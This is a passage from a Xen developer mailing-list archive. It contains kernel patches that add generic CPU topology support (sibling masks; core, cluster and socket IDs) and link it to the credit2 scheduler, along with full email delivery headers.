+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/init.h>
+
+/*
+ * TODO: Populate the topology information by scanning the ACPI
+ *       PPTT (Processor Properties Topology Table).
+ */
+int __init acpi_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    /*
+     * Generate temporary cpu topology information for now.
+     * It assumes that the cpu doesn't have SMT and all CPUs
+     * belong to the same socket.
+     */
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        cpumask_set_cpu(cpu, topo->thread_sibling);
+        cpumask_copy(topo->core_sibling, &cpu_possible_map);
+        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+    }
+
+    return 0;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index 2fdf38cf74..cbb02e0f35 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -135,6 +135,19 @@ static inline int acpi_boot_table_init(void)
 
 #endif 	/*!CONFIG_ACPI*/
 
+#ifdef CONFIG_ACPI_CPU_TOPOLOGY
+
+int acpi_init_cpu_topology(void);
+
+#else /* CONFIG_ACPI_CPU_TOPOLOGY */
+
+static inline int acpi_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_ACPI_CPU_TOPOLOGY */
+
 int get_cpu_id(u32 acpi_id);
 
 unsigned int acpi_register_gsi (u32 gsi, int edge_level, int active_high_low);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
new file mode 100644
index 0000000000..7cfe3752cd
--- /dev/null
+++ b/xen/include/xen/cpu-topology.h
@@ -0,0 +1,34 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_CPU_TOPOLOGY_H
+#define XEN_CPU_TOPOLOGY_H
+
+#include <xen/cpumask.h>
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
+struct cpu_topology {
+    cpumask_var_t thread_sibling;
+    cpumask_var_t core_sibling;
+    cpumask_var_t cluster_sibling;
+};
+
+extern struct cpu_topology *cpu_topology;
+void init_cpu_topology(void);
+
+#else /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+static inline void init_cpu_topology(void) {}
+
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#endif /* XEN_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/dt-cpu-topology.h b/xen/include/xen/dt-cpu-topology.h
new file mode 100644
index 0000000000..72b35b3cf2
--- /dev/null
+++ b/xen/include/xen/dt-cpu-topology.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_DT_CPU_TOPOLOGY_H
+#define XEN_DT_CPU_TOPOLOGY_H
+
+#include <xen/errno.h>
+
+struct dt_device_node;
+
+#ifdef CONFIG_DT_CPU_TOPOLOGY
+
+void map_cpu_to_dt_node(unsigned int cpu, struct dt_device_node *cpu_node);
+int dt_init_cpu_topology(void);
+
+#else /* CONFIG_DT_CPU_TOPOLOGY */
+
+static inline void map_cpu_to_dt_node(unsigned int cpu,
+                                      struct dt_device_node *cpu_node) {}
+static inline int dt_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_DT_CPU_TOPOLOGY */
+
+#endif /* XEN_DT_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:45:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:45:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362130.1614051 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjae2-00061E-PR; Tue, 14 Jul 2026 10:45:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362130.1614051; Tue, 14 Jul 2026 10:45:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjae2-000617-Lz; Tue, 14 Jul 2026 10:45:46 +0000
Received: by outflank-mailman (input) for mailman id 1362130;
 Tue, 14 Jul 2026 10:45:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjae0-0005md-Nx
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:45:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjae0-00HHZm-4O
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:45:44 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561351-2eae-0a2a0a5409dd-0a2a4509a954-12
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:44 +0200
Received: from [52.101.125.100]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561350-be1a-0a2a45090019-34657d6404e0-4
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:43 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY6P286MB7347.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:361::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 10:45:42 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 10:45:42 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=TnnagTWpBkoHsU13BMR9jqYUkWrcXplbMB43zC/nq3Gp8VqWkTDnG+R1YqUhY6eueVfJSt1aNxuihBFcna32Bi+yqQr2n8v+yYmq9/II5zxNPXPaLd4vYWHx1JTJLBYNI7kyKEjUGH/UH1l9LyfkcH8/GmTK3xXoOi0lMXKpu6I64ojqgnjkVqlyPpx3c0zKFovcURmu1a2ksrvw0kza+Um2JGO+6tmBfyks3CMR01i8zVg9fXRtmVj0x8I5NbnapUkVtOzt4anBPxsWT8CmfGBeii1moL4zoVLFzErZ/QHcTS0bxTKQsze99au2KIQYGOuVToaXB92hlzowclxsQA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=LrblDw5uEnhXPxxiY8E5MhWRyS6n6kgC3oSPKKTLtMs=;
 b=f2xI1m4YUIY2KbRxtXsb3jhJ/RZwE2C4lBhZ2aYXKySFUx7879HUbV6QxlO1Bj/y59JTaphxmfkeNr6lnNciTNv7d2R5LSk68P5PH0Ot9b92NzcsxgKoiDxItsS+yh00QUuQnZ540kp2SUklfatOBkpzoiDzAGj7typ1NbBGiVK3Y0O+tVW8uWulLK2XXrtpeKF211Zy5pv5caEhIQjgQla7Yf989L4ys14mq4xXLUww0Q11gmP2EkS8H7sjeqQlFSkqR8ie2xvTYPdeVC9pmDCGg+PE5nmY6qa/vl7RlTX3sdHs7/mdXZY7oWFz5Z2gcN9Zy1gjdt27rkVXspr0rA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=LrblDw5uEnhXPxxiY8E5MhWRyS6n6kgC3oSPKKTLtMs=;
 b=OJXMr2mPwWaGsOpK7+6xe4N+frArLEehIKY8PHnSbVOLp2pfydGwH2f99GEx2sGWnkxotI8aZ71SS19bD8LzHHu4qfHurwJVdYlKayEDSmhqZbnFu22NaFkZRc/fQ7/oBRptOLCFCcJc1U6Ha4US59K+glXtDRYczmBrS5A1fWQ=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v6 2/5] xen/sched: Link CPU topology to scheduler
Date: Tue, 14 Jul 2026 19:44:42 +0900
Message-ID: <20260714104445.919830-3-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260714104445.919830-1-taka@valinux.co.jp>
References: <20260714104445.919830-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4P301CA0081.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36f::15) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY6P286MB7347:EE_
X-MS-Office365-Filtering-Correlation-Id: d1796594-78dc-4920-b071-08dee1950d1c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|376014|7416014|10070799003|18002099003|22082099003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	sNc9PFKeUkvXPrjgLJEuyg4RQekOJoM9kPCG4lq5JEQ4O8Ca2iLwerM9X5AjPo9FL/MfMihJqFh5jNx1FzT3qhscRXSWbUg8+ADJZjawT5ASBUw8AgZdaANXyi8c2eoNK+/zF6AiyAR3f2rEDLstupilP9Q0JLxT/Zn18tx14NuEsfjTU0mGRoEBRLbqlpqU5FwwkFLu+N21sw3hYnn1RRcNNBNgl8vFBVJvoiWj+yhoZT1W4oCuG8jJzes52hxJLaYlF6UZ+J6T5GCo/dkSmJH0lXN6t9ycylbQrBNiQrh+YKJ3Tdplr/zjli/Yr8qAdaFLMYdEqIBmBBetUY4hIGB+s899dQtXFioDsuvKoBcN6ubkkD8VKKf0EztGuP8u3KFr9H38/IqRiaDIg4OEpvTQ5tEFkwlxEKzHoOpAKyiaGpkTqQjH2jOZwTOw+71+pnBrIPyqbBBWRry+VTy+PPuP5y5YVXqni5r8RhplV0dAnzBi55EeeAab7AllrxXIegiQOpcRTvo+i4eXll5KLZavPh7SwpE/iKUhZCyVX/Ek8ypYMiMPYkeYG+nnwlR3qlv+eDa+JtmbReoSLbOJAypilHRgyoQdNFxvQYTjo/7gTggin0mSpEgSUs7wv0WMQn+niMxDMHMGNodtdCGFNGfBXVIvaLhMlEEtam6TwoU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(376014)(7416014)(10070799003)(18002099003)(22082099003)(56012099006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?1SJGapLDJPB/WiSNpnpE43ngNIfHdbai3xAiCL9nLiX7hnDBBrg/g4QiPTsF?=
 =?us-ascii?Q?pjkdDbUf3t9ABWqfkZir1eR6UTJzy4UkM+eQg39I4Bsej7Rf7AW+DJmcaC0Q?=
 =?us-ascii?Q?V087MBnKyUSu2/wGp4yfK9TxapvVDlshRGkSwDTcGH0jSXQdJbUc8PUse+U6?=
 =?us-ascii?Q?wBs5eBMP7jEqsKSCimbmc9TxaLdtiHp7/tvQ4iamKxD9RA0is9n4owdydO0b?=
 =?us-ascii?Q?gdRc9rg43kX+LrQdEAxMAs6EnjZbBE4+pX2iyGUwRHx8kDtUKZAxfyif8yYl?=
 =?us-ascii?Q?DQNggonqdrPusJaoYS3mWo22IJJu6XGZ+6TQCo791T3kWimeBmKVr3KK8nqU?=
 =?us-ascii?Q?IGBbu1pq7WmlYbfhPFlKrXkxKFjr79hSmYV1LNAbYiKzbLQ2bbmqC+iFy6oD?=
 =?us-ascii?Q?aNCNSHa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UUowWpmFG9IDC8PbC4Pycb7wof1jVvaIBu3R9vhs?=
 =?us-ascii?Q?olA00LJsiusUw/XXxuXeHHv+hWHRFjGP3VJmkg9JsLghG1A1I7sB+Caq1qNx?=
 =?us-ascii?Q?O+eoq48b8JRPCOalYalgDGD2fyLcCjCHxj7eC9Jjou/fndBkcPFWKQ8NwGUT?=
 =?us-ascii?Q?jJo2prn1eNUnnrOOhGbKejXXwaL4vVUuXAYZ4iBv8r7sFWAZuyOmVyvOgcRE?=
 =?us-ascii?Q?+zy+Ij40cxXDrDQcvXO81TuODUghNPBYCXgxMnfTn0AzxTFM1RNhTfie/tco?=
 =?us-ascii?Q?rjJjWTKdjFMk93X8l6v3J6/uDRG3N0+KHfH7IOcXf4xCayM8V+NldN3EHa83?=
 =?us-ascii?Q?kshlpS7NVPTNvaYTSgkzmc77GsQaEyJAYuG8SrUlu46rSQG9xf5236/WL42t?=
 =?us-ascii?Q?5YS9N9n7y/J0JTrerAyaHD25KGSfpt5OYlUv4qSyeo4DsRrXJqlTAd0YXXGM?=
 =?us-ascii?Q?TIzkiZqHgi7HBU5suiI8zd7hSqvgaKUZcl3PpwAFj7og9+ku7/bcHhdGLnBL?=
X-MS-Exchange-AntiSpam-MessageData-1: xp1tSVrhMWjjqA==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: d1796594-78dc-4920-b071-08dee1950d1c
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 10:45:42.0221
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: GUefYS8E0GG3pCvH1sORiuQQiV1bO8LZH4rXRo2NdAR0ljVmYo5FrmBkNsN+097MqZxkAHa5xPOFvVWB/mE8hg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY6P286MB7347
X-purgate-ID: tlsNG-bad1c0/1784025943-BCCCF034-CECA9430/0/0
X-purgate-type: clean
X-purgate-size: 9491

Make CPU topology information available to the Xen scheduler.
Additionally, ensure that this topology information is displayed
when executing the 'xl info -n' command.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v6:
   * Set the cluster ID to 0 when the cluster definition is missing from the
     Device Tree `cpu-map` node.
   * Added bounds-checking `ASSERT`s for values returned by `cpumask_first()`.
   * Added a blank line between `<xen/...>` and `<asm/...>` header groups.
   * Reordered `#ifdef` blocks to prioritize generic logic over architecture-
     specific ones.

 xen/arch/arm/include/asm/processor.h   |  4 --
 xen/arch/arm/smpboot.c                 |  8 +---
 xen/arch/ppc/include/asm/processor.h   |  4 --
 xen/arch/riscv/include/asm/processor.h |  4 --
 xen/common/device-tree/cpu-topology.c  | 65 ++++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  5 +-
 xen/common/sysctl.c                    |  1 +
 xen/drivers/acpi/topology.c            |  3 ++
 xen/include/xen/cpu-topology.h         | 44 +++++++++++++++++
 9 files changed, 118 insertions(+), 20 deletions(-)

diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index a3753c317f..41fa73cfc4 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -613,10 +613,6 @@ void show_stack(const struct cpu_user_regs *regs);
 
 #define cpu_relax() barrier() /* Could yield? */
 
-/* All a bit UP for the moment */
-#define cpu_to_core(_cpu)   (0)
-#define cpu_to_socket(_cpu) (0)
-
 struct vcpu;
 void vcpu_regs_hyp_to_user(const struct vcpu *vcpu,
                            struct vcpu_guest_core_regs *regs);
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index d957553a44..88b01bcfd2 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -92,13 +92,7 @@ static int setup_cpu_sibling_map(int cpu)
          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
         return -ENOMEM;
 
-    /*
-     * Currently we assume there is no multithread and NUMA, so
-     * a CPU is a sibling with itself, and the all possible CPUs
-     * are supposed to belong to the same socket (NUMA node).
-     */
-    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
-    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    init_cpu_sibling_map(cpu);
 
     return 0;
 }
diff --git a/xen/arch/ppc/include/asm/processor.h b/xen/arch/ppc/include/asm/processor.h
index 242346cab9..1bf6f6c66c 100644
--- a/xen/arch/ppc/include/asm/processor.h
+++ b/xen/arch/ppc/include/asm/processor.h
@@ -141,10 +141,6 @@
 /* Macro to adjust thread priority for hardware multithreading */
 #define HMT_very_low()  asm volatile ( "or %r31, %r31, %r31" )
 
-/* TODO: This isn't correct */
-#define cpu_to_core(cpu)   (0)
-#define cpu_to_socket(cpu) (0)
-
 /*
  * User-accessible registers: most of these need to be saved/restored
  * for every nested Xen invocation.
diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
index 6b89df4a2d..d478ffb76b 100644
--- a/xen/arch/riscv/include/asm/processor.h
+++ b/xen/arch/riscv/include/asm/processor.h
@@ -54,10 +54,6 @@ struct cpu_user_regs
     unsigned long pregs;
 };
 
-/* TODO: need to implement */
-#define cpu_to_core(cpu)   0
-#define cpu_to_socket(cpu) 0
-
 static inline void cpu_relax(void)
 {
 #ifdef __riscv_zihintpause
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
index be82272c14..03cad06303 100644
--- a/xen/common/device-tree/cpu-topology.c
+++ b/xen/common/device-tree/cpu-topology.c
@@ -316,6 +316,67 @@ static int __init parse_dt_topology(void)
     return parse_socket(map);
 }
 
+static void __init setup_cpu_topology_ids(void)
+{
+    unsigned int cpu;
+    unsigned int next_core_id = 0;
+    unsigned int next_cluster_id = 0;
+    unsigned int next_socket_id = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        unsigned int first_cpu;
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        first_cpu = cpumask_first(topo->thread_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_core_id = next_core_id;
+            next_core_id++;
+        }
+        else
+        {
+            topo->phys_core_id = cpu_topology[first_cpu].phys_core_id;
+        }
+
+        first_cpu = cpumask_first(topo->cluster_sibling);
+        if ( first_cpu >= nr_cpu_ids )
+        {
+            /* Clustering is not supported */
+            topo->phys_cluster_id = 0;
+        }
+        else
+        {
+            if ( first_cpu == cpu )
+            {
+                topo->phys_cluster_id = next_cluster_id;
+                next_cluster_id++;
+            }
+            else
+            {
+                topo->phys_cluster_id = cpu_topology[first_cpu].phys_cluster_id;
+            }
+        }
+
+        first_cpu = cpumask_first(topo->core_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_socket_id = next_socket_id;
+            next_socket_id++;
+        }
+        else
+        {
+            topo->phys_socket_id = cpu_topology[first_cpu].phys_socket_id;
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+}
+
 int __init dt_init_cpu_topology(void)
 {
     unsigned int cpu;
@@ -326,9 +387,13 @@ int __init dt_init_cpu_topology(void)
 
     ret = parse_dt_topology();
     if ( ret == 0 )
+    {
         for_each_possible_cpu(cpu)
             setup_siblings_masks(cpu);
 
+        setup_cpu_topology_ids();
+    }
+
     return ret;
 }
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index 95946634d1..a69327c808 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -9,6 +9,7 @@
  * Based on an earlier verson by Emmanuel Ackaouy.
  */
 
+#include <xen/cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
@@ -35,7 +36,9 @@
  */
 static unsigned int cpu_nr_siblings(unsigned int cpu)
 {
-#ifdef CONFIG_X86
+#if defined(CONFIG_GENERIC_CPU_TOPOLOGY)
+    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;
+#elif defined(CONFIG_X86)
     return cpu_data[cpu].x86_num_siblings;
 #else
     return 1;
diff --git a/xen/common/sysctl.c b/xen/common/sysctl.c
index 5207664252..81a68fe24c 100644
--- a/xen/common/sysctl.c
+++ b/xen/common/sysctl.c
@@ -28,6 +28,7 @@
 #include <xen/pmstat.h>
 #include <xen/livepatch.h>
 #include <xen/coverage.h>
+#include <xen/cpu-topology.h>
 
 long do_sysctl(XEN_GUEST_HANDLE_PARAM(xen_sysctl_t) u_sysctl)
 {
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 45d1f2c5be..56fcfa4945 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -22,6 +22,9 @@ int __init acpi_init_cpu_topology(void)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
 
+        topo->phys_core_id = cpu;
+        topo->num_siblings = 1;
+
         cpumask_set_cpu(cpu, topo->thread_sibling);
         cpumask_copy(topo->core_sibling, &cpu_possible_map);
         cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 7cfe3752cd..82608b7789 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -4,6 +4,17 @@
 #define XEN_CPU_TOPOLOGY_H
 
 #include <xen/cpumask.h>
+#include <xen/percpu.h>
+
+#include <asm/processor.h>
+#include <asm/smp.h>
+
+/* Assume all CPUs reside in the same socket and no threading. */
+static inline void init_cpu_sibling_map_default(unsigned int cpu)
+{
+    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+}
 
 #ifdef CONFIG_GENERIC_CPU_TOPOLOGY
 
@@ -11,15 +22,48 @@ struct cpu_topology {
     cpumask_var_t thread_sibling;
     cpumask_var_t core_sibling;
     cpumask_var_t cluster_sibling;
+    unsigned int phys_core_id;
+    unsigned int phys_cluster_id;
+    unsigned int phys_socket_id;
+    unsigned int num_siblings;
 };
 
 extern struct cpu_topology *cpu_topology;
 void init_cpu_topology(void);
 
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    if ( cpu_topology )
+    {
+        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
+                     cpu_topology[cpu].thread_sibling);
+        cpumask_copy(per_cpu(cpu_core_mask, cpu),
+                     cpu_topology[cpu].core_sibling);
+    }
+    else
+        init_cpu_sibling_map_default(cpu);
+}
+
+#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
+#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 static inline void init_cpu_topology(void) {}
 
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    init_cpu_sibling_map_default(cpu);
+}
+
+#ifndef cpu_to_core
+#define cpu_to_core(cpu)   (0)
+#endif
+
+#ifndef cpu_to_socket
+#define cpu_to_socket(cpu) (0)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:45:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:45:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362131.1614060 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjae9-0006JK-1P; Tue, 14 Jul 2026 10:45:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362131.1614060; Tue, 14 Jul 2026 10:45:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjae8-0006JB-U1; Tue, 14 Jul 2026 10:45:52 +0000
Received: by outflank-mailman (input) for mailman id 1362131;
 Tue, 14 Jul 2026 10:45:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjae7-0006HT-33
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:45:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjae6-00HHZm-Fp
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:45:50 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a56135b-2eae-0a2a0a5409dd-0a2a4502907a-4
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:50 +0200
Received: from [40.107.74.120]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a56135c-6ca4-0a2a45020019-286b4a782f33-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:50 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY6P286MB7347.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:361::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 10:45:46 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
